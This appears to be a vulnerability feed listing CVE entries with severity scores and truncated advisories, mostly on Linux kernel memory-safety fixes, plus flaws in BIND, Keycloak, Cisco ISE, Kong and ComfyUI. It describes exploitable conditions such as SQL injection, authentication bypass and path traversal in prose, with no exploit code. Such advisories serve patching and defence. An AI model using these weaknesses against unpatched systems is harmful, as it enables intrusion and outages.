CVE-2026-89880	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: rtl2832_sdr: release URBs and stream buffers on start_streaming() failure rtl2832_sdr_start_streaming() calls rtl2832_sdr_alloc_stream_bufs(), rtl2832_sdr_alloc_urbs() and rtl2832_sdr_submit_urbs() in sequence and shares a single err: label that only unlocks the mutex and returns. When alloc_urbs() ...
CVE-2026-89882	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: rkvddec: hevc: guard INTER_REF_PIC_SET_PRED index underflow st_ref_pic_set_prediction() computes the reference RPS index as st_rps_idx - (delta_idx_minus1 + 1) per HEVC spec equation 7-59. Both operands are u8, so when delta_idx_minus1 + 1 exceeds the current index the subtraction wraps and the subse...
CVE-2026-89883	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: rc: sunxi-cir: Unregister rc device on probe failure After rc_register_device() succeeds, later probe failures must undo the registration with rc_unregister_device(). The current error path jumps to the allocation cleanup label and only calls rc_free_device(), leaving the rc device registration and ...
CVE-2026-89887	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: i2c: ov7740: fix use-after-destroy in remove The ov7740_remove() function had a severe teardown order bug where it destroyed the driver's mutex before freeing the V4L2 control handler which relies on that mutex, leading to a use-after-destroy kernel panic. Furthermore, the driver explicitly called v...
CVE-2026-89888	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: i2c: ov02a10: fix endpoint parsing use-after-free The ov02a10_check_hwcfg() function calls fwnode_handle_put(ep) immediately after allocating and parsing the endpoint. However, it subsequently calls fwnode_property_read_u32() using the same 'ep' handle, leading to a potential use-after-free. Additi...
CVE-2026-89890	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: go7007: defer the ALSA v4l2 put until card release go7007_snd_init() already takes a v4l2_device reference for the ALSA side, but go7007_snd_remove() drops it immediately after calling snd_card_free_when_closed(). That is too early when a userspace process still has the capture PCM open. The ALSA c...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89893	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: cx23885: cancel NetUP CI work before teardown netup_ci_exit() frees a netup_ci_state while its work item, netup_read_ci_status(), may still be pending or running on the system workqueue. The worker obtains the state with container_of() and dereferences it, so it must not outlive the state. netup_ci...
CVE-2026-89894	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: cx231xx: reject geometry changes while the VBI queue is busy vidioc_s_fmt_vid_cap() and vidioc_s_std() change the device-wide dev->width / dev->norm but only refuse the change when the *video* queue (dev->vidq) is busy. The VBI queue (dev->vbiq) shares that same geometry: cx231xx_init_vbi_isoc() lat...
CVE-2026-89899	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: cec: disable delayed work before freeing an interrupted transmit cec_transmit_msg_fh() drops adap->lock to wait for a blocking transmit in wait_for_completion_killable(). If that wait is interrupted by a signal, cancel_delayed_work_sync() can run before the CEC kthread arms the reply timeout via sch...
CVE-2026-89902	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: LoongArch: Avoid preempt count underflow without probe LoongArch uses break 11 for the breakpoint placed after an instruction that Kprobes executes out of line. Since userspace can issue the same break instruction, do_bp() can reach kprobe_singlestep_handler() when there is no current probe. The handler a...
CVE-2026-89903	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: LoongArch: Do not save/restore percpu base register in rethook trampoline The rethook trampoline saves \$r21 (\$u0), the percpu base, into its frame at entry and restores it at exit. Inbetween rethook_trampoline_handler() may schedule via preempt_enable_notrace(). If the task migrates to another CPU, the fr...
CVE-2026-89906	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Refactor jump offset calculation in tail call The old macro-based jmp_offset calculation derives the jump distance from a stale prior-pass code stride, which can lead to wrong branch offsets and soft lockups under extra JIT passes. Fix this by calculating the offset directly on the absolut...
CVE-2026-89919	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: s390: keyop: use mmu_lock to read gmap->asce Every other dat_* consumer in this file (kvm_s390_get_skeys, set_skeys, get_cmma_bits, set_cmma_bits, MEM_CLR_CMMA, kvm_s390_fixup_prefix, kvm_test_age_gfn, kvm_age_gfn) reads kvm->arch.gmap->asce *inside* the mmu_lock read-side. keyop is the only outlier. ...
CVE-2026-89920	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Fix memory corruption by not reinjecting CK machine checks Channel-subsystem damage machine checks are for the host channel subsystem. The guest channel subsystem is emulated in the userspace VMM. There is no point in forwarding such machine checks into the guest. This also simplifies the machi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89922	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Take srcu when importing watchpoint data __import_wp_info() backs up the original guest memory contents of a watchpoint with read_guest_abs(), which is kvm_read_guest() and therefore resolves the memslot via __kvm_memslots(). That requires kvm->srcu (or kvm->slots_lock) to be held, otherwise a c...
CVE-2026-89938	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: iio: chemical: atlas-sensor: use iio_trigger_poll_nested() to fix remove UAF The atlas driver requests its hardware data-ready IRQ with devm_request_threaded_irq(); its threaded handler queues an irq_work, atlas_work_handler(), that calls iio_trigger_poll(data->trig). The IRQ is devm-managed, so free_irq(...
CVE-2026-89940	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: iio: buffer: Tie IIO dma fence lock lifetime to the fence The `iio_dma_fence` implementation currently uses a lock embedded in the `iio_dmabuf_priv`. But the `iio_dma_fence` can outlive the `iio_dmabuf_priv`, which can cause a use-after-free. Tie the lifetime of the lock to the lifetime of the fence by em...
CVE-2026-89941	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: iio: buffer: Make IIO DMA fence release RCU-safe The `dma_fence` documentation states that if a custom release implementation is provided, the `dma_fence` object must be freed in an RCU-safe way. The current `iio_dma_fence` implementation uses `kfree()`, which might result in a use-after-free. Remove the ...
CVE-2026-89942	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: iio: buffer: Fix potential use-after-free in anonymous buffer release An anonymous buffer handle holds a reference to the underlying IIO device. The reference is dropped in the buffer handle's release function. If the device has been removed, either through unbind or hot-unplug, the buffer handle might hol...
CVE-2026-89961	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: powerpc/mm: fix wrong addr_pfn tracking in compound vmemmap population vmemmap_populate_compound_pages() uses addr_pfn to determine the PFN offset within a compound page and to decide whether the current vmemmap slot should be populated as a head page mapping or should reuse a tail page mapping. However, ...
CVE-2026-89965	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: nvdim/btt: reject an arena whose nfree is below the lane count The BTT info block's nfree field, the number of reserve free blocks, is read from the medium without validation. btt_freelist_init() and btt_rtt_init() size the per-lane freelist[] and rtt[] arrays by nfree, but the I/O path indexes them by t...
CVE-2026-89967	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: mm/migrate_device: avoid out-of-bounds writes for compound folios migrate_device_range() and migrate_device_pfns() clear the entries following a compound folio so that the PFN arrays retain their page-granular representation. If a compound folio extends beyond the end of the caller-provided range, the loo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89979	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: ALSA: pcm: Fix race between non-atomic ops and trigger-start We protect the races of the concurrent state transitions between atomic PCM ops, but the checks between the non-atomic ops (hw_params, hw_free and prepare) and the atomic ops aren't perfect; there is a check of the conflicting PCM state at the be...
CVE-2026-89985	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: memcg: keep folio's objcg same as its node memcg_reparent_objcgs() has an inherent assumption that a folio's objcg is the objcg of the folio's node. Folio migration across nodes breaks that assumption: the new folio simply inherits the old folio's objcg while living on a different node. Once the assumpti...
CVE-2026-89986	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: mm/mempolicy: fix sleeping allocation in alloc_pages_bulk_weighted_interleave() syzbot reported a sleeping function called from invalid context splat in bucket_table_alloc(). When rhashtable_insert_slow() rehashes the table under rcu_read_lock(), it calls bucket_table_alloc(..., GFP_ATOMIC __GFP_NOWARN)...
CVE-2026-89988	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: kprobes: Protect kprobe_blacklist with RCU __within_kprobe_blacklist() traverses kprobe_blacklist without holding kprobe_mutex. When a module is unloaded, kprobe_remove_area_blacklist() removes blacklist entries and immediately frees them with kfree(). A concurrent call to within_kprobe_blacklist() can the...
CVE-2026-89994	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: dmaengine: fsl-edma: tracing: no ptr dereference during log output The fsl edma events store a pointer to a struct fsl_edma_engine in the ringbuffer and dereference it when a log entry is printed. At this time, the pointer may no longer be valid. Event injection can be used to trigger a crash: \$ cd /sys/...
CVE-2026-89997	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: dm: fix resume-vs-remove race If the user issues the resume ioctl and the remove ioctl at the same time, it may be possible that the device is resumed after it is suspended in __dm_destroy. The result is that the table is destroyed without calling the postsuspend method. Dm targets expect that they may be...
CVE-2026-89998	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: dm: fix race when loading and unloading a table If the userspace calls two concurrent table load ioctls and one of them succeeds and the other fails, there is a race condition because dm_setup_md_queue walks &md->table_devices without any lock. If the walk races with dm_table_destroy -> free_devices -> dm_...
CVE-2026-90001	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: HID: bpf: serialize device reference release in struct_ops destroy path __hid_bpf_ops_destroy_device() and hid_bpf_unreg() can race on the same registration reference, double-putting struct hid_device and freeing it while hid_destroy_device() still uses it. Serialize the remove/NULL decision under hdev->b...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90002	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: ftrace: Take trace_array reference before accessing its ftrace_ops The trace instance files set_ftrace_filter and set_ftrace_notrace was updated to work with specific trace instances (trace_arrays). The issue is that when these files are opened, there is a small race window where it will use the ftrace_ops...
CVE-2026-90003	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: futex: Prevent rcuwait use-after-free during requeue PI On PREEMPT_RT, FUTEX_CMP_REQUEUE_PI can trigger a KASAN report (slab-out-of-bounds) in futex_requeue_pi_complete() invocation of rcuwait_wake_up(). The futex_q used by futex_wait_requeue_pi() is allocated on the waiter's stack. An early wakeup can ra...
CVE-2026-90007	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: pm8001: Use rollback index when freeing MSI-X vectors pm8001_request_msix() unwinds previously registered handlers with free_irq() when request_irq() fails. The rollback loop uses the failing index i for every iteration instead of the already registered vector index j. That passes the wrong IRQ/dev_...
CVE-2026-90008	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: megaraid_sas: Limit NVMe request size to the PRP chain frame megasas_make_prp_nvme() builds a command's PRP list in cmd->sg_frame, a DMA pool buffer of instance->max_chain_frame_sz bytes, spending one entry per NVMe page of the transfer plus one per page of the buffer for the chain pointer. The loop ...
CVE-2026-90009	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: bsg: Fix TOCTOU in io_uring passthrough command setup scsi_bsg_uring_cmd() reads bsg_uring_cmd from the shared mmap'd SQE. Userspace can change a field after we check it and before we use it. request_len is the sharp case: it can grow past sizeof(scmd->cmd) after the bound check and overflow scmd->c...
CVE-2026-90010	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: bsg: Cap io_uring sense copy to max_response_len Completion copied scmd->sense_len to the user response buffer without honoring max_response_len. After a valid sense, the midlayer sets sense_len to the real length (up to SCSI_SENSE_BUFFERSIZE), so a smaller user buffer was overrun.
CVE-2026-90013	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: tracing: Take trace_array reference when opening options file The options files do not take the trace_array reference for the options they represent. This could cause a use-after-free kernel crash if one of these files is opened by one task and another task removes the instance that the option is for. Beca...
CVE-2026-90014	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: tracing: Have show_event_filters/triggers files take trace array ref The newly added files show_event_filters and show_event_triggers that show all filters or triggers that are set within the trace array do not take a reference for the trace array it is showing. Without taking a reference, the trace_array ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90022	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_midi2: fix use-after-free in string attribute show path f_midi2_opts_str_show() takes the string lock internally, but its callers dereference the opts->info.<field> pointer before calling it, outside the lock. This races with f_midi2_opts_str_store(), which frees the old string under opts->l...
CVE-2026-90026	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: usb: typec: qcom-pmic: cancel reset_work on stop pdphy_stop() disables IRQs but leaves reset_work pending. If the IRQ handler schedules it just before disable_irq(), the work runs after remove() frees the struct via devm. Call cancel_work_sync() after disabling IRQs to close the window. This issue was f...
CVE-2026-90027	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: usb: typec: qcom-pmic-typec: disable cc_debounce_dwork on stop cc_debounce_dwork is queued from the set_cc() and start_toggling() callbacks, which run from TCPM's kthread worker. port_stop() returns before tcpm_unregister_port() destroys that worker. Flushing the worker during unregister may therefore ru...
CVE-2026-90030	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: usb: dwc3: clear forceRM when issuing EndTransfer The forceRM bit of the DEPCMD register controls the behavior of the EndTransfer command used to stop an active transfer. Older DWC3 programming guide revisions recommended setting forceRM=1 when issuing EndTransfer. Newer programming guide revisions recomme...
CVE-2026-90032	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: usbtv: keep device alive while ALSA card exists The ALSA PCM callbacks store the driver state in pcm->private_data. An open PCM file can outlive USB disconnect because usbtv_audio_free() uses snd_card_free_when_closed(). The disconnect path can then drop the V4L2 device reference and free struct usb...
CVE-2026-90043	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: zram: fix slot lock bit position on big-endian 64-bit The slot lock is a bit operation on the whole __lock word, which flags and ac_time alias as two u32s. On little-endian the lock bit lands in the position ZRAM_ENTRY_LOCK reserves in flags, so the aliasing works out. On 64-bit big-endian it lands in ac...
CVE-2026-90044	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_fs: Fix Use-After-Free in AIO error path In ffs_epfile_write_iter() and ffs_epfile_read_iter(), when ffs_epfile_io() fails with an error other than -EIOCBQUEUED, the io_data structure ('p') is freed. However, for AIO operations, the kiocb cancel function was already armed and kiocb->private ...
CVE-2026-90045	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: USB: gadget: ffs: fix mm lifetime handling io_data stores a pointer to the submitting task's mm_struct, but does not currently hold a reference to it while async requests are pending. This can result in a use-after-free if the task exits before completion handling finishes. Take a reference with mmgrab()...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90046	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: mm/page_alloc: don't spin_trylock() in NMI on UP Patch series "mm/page_alloc: fixes for free_pages_nolock() on RT/UP". Pre-existing bugs found by Sashiko during review of this other series: https://lore.kernel.org/all/20260703-alloc-trylock-v5-0-c87b714e19d3@google.com/ I have not reproduced these bugs, ...
CVE-2026-90047	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/xe: Don't hand out the flat CCS storage as usable VRAM get_flat_ccs_offset() reads the base of the flat CCS storage from the hardware, scales it by the number of enabled L3 nodes, and rounds the result up to 128K. Everything below that offset is then handed to the VRAM allocator as usable memory. Rou...
CVE-2026-92786	New	7.8	HIGH				LightGBM through 4.7.0 fails to validate child and split array values when parsing text models, allowing attackers to write out-of-bounds memory during SHAP prediction. Attackers can craft malicious model files with invalid node references that trigger out-of-bounds writes at attacker-chosen offsets in the leaf_depth_ buffer during feature contribution computation.
CVE-2026-92816	New	7.8	HIGH				ComfyUI before 0.30.0 fails to sanitize folder_name input in dataset save nodes, allowing attackers to write files to arbitrary paths outside the output directory. Attackers can load a crafted workflow that writes attacker-controlled content to arbitrary locations, enabling code execution through modified startup files or package initializers.
CVE-2026-14916	New	7.7	HIGH				A JWT signature verification vulnerability affects Kong components that perform JWT validation for MCP OAuth2 or DataKit integrations inside Kong API Gateway Enterprise. The affected code does not properly validate that the JWT signing algorithm is compatible with the type of key used for verification. As a result, an unauthenticated remote attacker may be able to craft a...
CVE-2026-14917	New	7.7	HIGH				A SAML authentication bypass vulnerability affects the Kong SAML plugin when the validate_assertion_signature option is explicitly set to false. This option is enabled by default. When disabled, the plugin may extract the SAML identity from an unsigned assertion and authenticate the user without verifying a valid cryptographic signature. As a result, an unauthenticated re...
CVE-2026-20342	New	7.7	HIGH				A vulnerability in a specific file download API of Cisco Secure FMC Software could allow an authenticated, remote attacker to download arbitrary files from an affected system. This vulnerability exists because user input is not being sanitized. An attacker could exploit this vulnerability by sending a crafted HTTPS request. A successful exploit could allow the attacker to...
CVE-2026-61595	New	7.7	HIGH			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, `djust.tenants` isolation was enforced only on the HTTP path. The current tenant was stored in `threading.local()` and set exclusively by the HTTP-only `TenantMiddleware`, so on the live (WebSocket/SSE) path `get_current_tenant()` was always ...
CVE-2026-62997	New	7.7	HIGH				Kedro-Datasets provides data connectors for Kedro. From version 5.0.0 until 9.5.0, kedro_datasets_experimental.pytorch.PyTorchDataset in kedro-datasets loads .pt model files with torch.load without enforcing weights_only=True, and user-supplied load_args are silently dropped. On PyTorch versions earlier than 2.6, a malicious pickle-backed model from an attacker-influenced sh...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73439	New	7.7	HIGH		0.003		On affected platforms running Arista EOS, if OpenConfig is configured and running a gNMI server on the system, and if gNSI Pathz is configured and a gNSI Pathz policy is present on the system, then gNMI may fail to correctly enforce the rules in this policy if both a group rule and a user rule for the same path is present in the policy. Under certain conditions, this can lea...
CVE-2026-85385	New	7.7	HIGH				Concrete CMS below 9.5.4 did not validate the user timezone value (uTimezone) on write and rendered it without output encoding on the Dashboard user management page, where Date::getTimezoneDisplayName() returns any non-IANA value unchanged. A stored cross-site scripting payload saved in this field executed in an administrator's browser when they viewed the affected user in t...
CVE-2026-86474	New	7.7	HIGH				The lack of TLS certificate validation when downloading firmware updates in VEO and VEO-XS Wi-Fi monitors, in versions prior to 01.48.001, allows an attacker to perform man-in-the-middle attacks on the update channel.
CVE-2026-86585	New	7.7	HIGH				The lack of signature verification of firmware update packages in VEO and VEO-XS Wi-Fi monitors, in versions prior to 01.48.001, allows an attacker who controls the delivery of an update to install unauthorised firmware.
CVE-2026-90025	New	7.7	HIGH				In the Linux kernel, the following vulnerability has been resolved: usb: typec: ucsi: displayport: Fix OOB altmode array index The UCSI displayport driver indexes the connector's port altmode array with the GET_CURRENT_CAM response after checking it is not 0xff. The port altmode array is UCSI_MAX_ALTMODES elements long. If the PPM returns an invalid GET_CURRENT_CAM respons...
CVE-2026-92784	New	7.7	HIGH				@refinedev/inferencer through 7.0.0 fails to escape API field names when interpolating them into generated JSX source code. Attackers controlling the data provider can inject malicious JavaScript through crafted JSON property names that execute in the developer's browser when the Inferencer page renders.
CVE-2026-76425	New	7.6	HIGH				A vulnerability in the APIs of Cisco ISE could allow an authenticated, remote attacker to conduct SQL injection attacks against the backend database. This vulnerability is due to insufficient validation of certain parameters that are concatenated directly into an SQL query. An attacker could exploit this vulnerability by sending a crafted request that contains SQL stateme...
CVE-2026-92465	New	7.6	HIGH				Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Themeum WP Mega Menu allows Blind SQL Injection. This issue affects WP Mega Menu: from n/a through 1.4.2.
CVE-2026-92616	New	7.6	HIGH				FileRise before version 3.28.0 contains a privilege escalation vulnerability that allows authenticated low-privilege attackers to gain unauthorized read and write access by exploiting improper session isolation between the WebDAV interface and the web application session context. Attackers can combine valid Basic-Auth credentials with an active admin PHPSESSID cookie to bypa...
CVE-2025-14871	New	7.5	HIGH		0.006		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.4.6 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an unauthenticated user to cause denial of service due to improper resource allocation limits in the GraphQL complexity calculation logic.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-1168	New	7.5	HIGH		0.006		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.4.6 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an unauthenticated user to cause denial of service due to improper resource allocation limits in the GraphQL complexity calculation logic.
CVE-2026-18212	New	7.5	HIGH				A flaw was found in the SAML Redirect Binding implementation of Keycloak, an open-source identity and access management solution. The issue occurs because the custom DEFLATE compression and decompression helpers fail to release native zlib memory after use. An unauthenticated attacker can exploit this by sending repeated malformed SAML requests, leading to native memory exha...
CVE-2026-19666	New	7.5	HIGH				On a resolver configured to use ``dns64``, if an applicable answer from the authoritative server is malformed in a specific way, the resolver `named` process will exit unexpectedly. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.
CVE-2026-19667	New	7.5	HIGH				If an attacker-controlled authoritative server can produce a negative answer that is exactly 65536 bytes, then a flaw in `named` results in a negative cache entry of 0 bytes. When this entry is subsequently read, `named` aborts. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-...
CVE-2026-20247	New	7.5	HIGH				A vulnerability in Cisco ISE could allow an unauthenticated, remote attacker to conduct SQL injection attacks on an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to modify data in the und...
CVE-2026-20343	New	7.5	HIGH				A vulnerability in a critical API for Cisco Secure FMC Software could allow an unauthenticated, remote attacker to download sensitive files and use unbounded disk space. This vulnerability exists because a critical API lacks authentication. An attacker could exploit this vulnerability by repeatedly invoking the API. A successful exploit could allow the attacker to do...
CVE-2026-27557	New	7.5	HIGH		0.007		An unauthenticated remote attacker can exploit a path traversal vulnerability in the /index.php/view_uploaded_iodd_file endpoint allowing the SSH server's private keys to be read.
CVE-2026-46352	New	7.5	HIGH				Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, Suricata's IP defragmentation code could deadlock when processing fragmented traffic containing an encapsulated tunnel protocol whose payload is itself fragmented. Version 8.0.5 contains a fix. No known wo...
CVE-2026-59739	New	7.5	HIGH		0.002		Information disclosure via SetWatches reconnect replay in Apache ZooKeeper due to missing ACL check. An attacker can discover ACL-restricted paths by registering exists-watches on non-existent paths, then reconnecting after the paths are created with restricted ACLs. Issue is caused by incomplete fix for CVE-2024-23944 (ZOOKEEPER-4799). The fix added ACL checking to WatchMan...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-59969	New	7.5	HIGH		0.001		Apache ZooKeeper quorum TLS fails to enforce peer hostname verification in FIPS-mode deployments. When sslQuorum=true, zookeeper.fips-mode=true, ssl.quorum.hostnameVerification=true, and ssl.quorum.clientHostnameVerification=true are enabled, the Java SSLSocket quorum path accepts a CA-trusted peer certificate whose SAN does not match the connected host. A malicious or misis...
CVE-2026-63126	New	7.5	HIGH				Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.4.5 and 7.0.0-alpha04, Wire protobuf readers do not consistently validate attacker-controlled lengths against the current logical message boundary before advancing cursors, pointers, limits, slices, or allocations. In Kotlin, ProtoAdapter.decode(ByteArray) and ProtoAdapter.decode(ByteStr...
CVE-2026-63128	New	7.5	HIGH			rust:rmcp	RMCP is an official Rust SDK for the Model Context Protocol. Prior to 2.0.0, the rmcp crate's stateful Streamable HTTP server in crates/rmcp/src/transport/streamable_http_server/tower.rs allows an unauthenticated client to send a well-formed JSON-RPC POST that is not an initialization request, or an initialization request with a mismatched protocol header, causing Streamable...
CVE-2026-65388	New	7.5	HIGH				A remote attacker who controls a container registry may be able to direct a client's token request to a host of the attacker's choice, and disclose the victim's registry credentials to that host. This vulnerability is addressed in containerization version 0.41.0.
CVE-2026-70469	New	7.5	HIGH				Apache NiFi 2.11.0 disabled support for gzip-encoded HTTP requests for the application REST API and rejected requests that included the standard Content-Encoding header indicating gzip encoding. The framework enforcement filter did not check multiple instances of the Content-Encoding header and did not reject non-standard identifiers for gzip encoding, allowing a malicious c...
CVE-2026-76163	New	7.5	HIGH				If BIND is loaded with a "named.conf" file that contains no global "options" block, an attacker can send a query of QTYPE TKEY which may cause an assertion failure and subsequent unexpected program exit. This issue affects BIND 9 versions 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, and 9.20.9-S1 through 9.20.27-S1.
CVE-2026-76646	New	7.5	HIGH				A remote attacker could cause excessive resource consumption by supplying specially crafted request parameters, potentially resulting in a denial of service condition. Older unsupported versions may also be affected. Users are recommended to upgrade to versions 2.3.12, 2.3-next-M9, 3.0.4, 4.0.4, or 4.1.4, which fix this issue.
CVE-2026-77692	New	7.5	HIGH				An attacker can cause `named` to abort by sending a crafted DNS-over-HTTPS request with a cryptographically invalid SIG(0) record, and then closing the transport connection prematurely. This issue affects BIND 9 versions 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, and 9.20.9-S1 through 9.20.27-S1.
CVE-2026-79651	New	7.5	HIGH				A flaw was found in the theme localization endpoints of the keycloak-services component, which is the core service responsible for authentication flows and theme management in Keycloak. The issue occurs because the system accepts arbitrary locale tags from unauthenticated requests and stores them in a permanent in-memory cache without limits. An attacker can exploit this by ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-79993	New	7.5	HIGH		0.002		The `deleteContainer` opcode (0x14/20) is processed without verifying the caller's ACL permissions, allowing any authenticated client to delete specific znodes in the data tree regardless of the ACL restrictions on the znode or its parent. This opcode is considered internal-only and the official client doesn't have API for it, but a client that can open a plain TCP session o...
CVE-2026-80274	New	7.5	HIGH				If a BIND resolver sends a query for a DNSSEC-signed authoritative zone, and the authoritative server replies with a valid wildcard answer and signed NSEC3 proof, followed by an unsigned NSEC at the same owner name, it will trigger an unexpected program exit. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 ...
CVE-2026-81563	New	7.5	HIGH				A BIND resolver encountering an SVCB/HTTPS AliasMode record referencing 14 or more SVCB/HTTPS ServiceMode records may fail to properly deallocate internal resources. If this happens repeatedly, resource exhaustion will eventually prevent the resolver from performing new recursive lookups. This issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21...
CVE-2026-81634	New	7.5	HIGH		0.004		In NLnet Labs Unbound up to and including 1.26.0, a 255 length query name with a large TCP response can lead to a heap buffer overflow during the RRSet canonicalisation routine. This is caused by missing to add the first owner name into the buffer length check. A malicious actor operating a malicious name server or tampering with an incoming response to Unbound (canonicalisa...
CVE-2026-81736	New	7.5	HIGH				If a BIND resolver has cached a tree of SVCB/HTTPS AliasMode records, and is then queried for the root of that tree, the resolver will spend disproportionate CPU time constructing the response. This issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.18.11-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.
CVE-2026-81875	New	7.5	HIGH				HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.12, SHCParser in org.hl7.fhir.r5/src/main/java/org/hl7/fhir/r5/elementmodel/SHCParser.java can consume attacker-controlled Smart Health Card JWT content whose header contains zip: "DEF" and whose small raw-DEFLATE payload expands to a very large value...
CVE-2026-81876	New	7.5	HIGH				HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.12, SHCParser in org.hl7.fhir.r5/src/main/java/org/hl7/fhir/r5/elementmodel/SHCParser.java can enter an infinite loop while processing attacker-controlled Smart Health Card JWT content whose header contains zip: "DEF" and whose raw-DEFLATE payload is ...
CVE-2026-82399	New	7.5	HIGH				CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC request paths in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack on attacker-controlled DNS section counts before dns.DefaultMsgAcceptFunc validates the fixed header. An unauthenticated clien...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84997	New	7.5	HIGH				react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP. From 0.6.0 until 1.11.1, React\Http\Io\ChunkedDecoder could enter an infinite loop while processing a malformed Transfer-Encoding: chunked body because handleData required its buffer to shrink on every iteration. An incomplete terminal-chunk trailer without CRLF left the buffer uncha...
CVE-2026-85756	New	7.5	HIGH				SSH.NET is a Secure Shell (SSH) library for .NET. Prior to 2026.0.0, ScpClient places caller-supplied remote paths into the command used to run scp on the server, and the default RemotePathTransformation.DoubleQuote transformation cannot safely quote every remote command interpreter. When an application passes an attacker-controlled path to a shell-based server, shell metach...
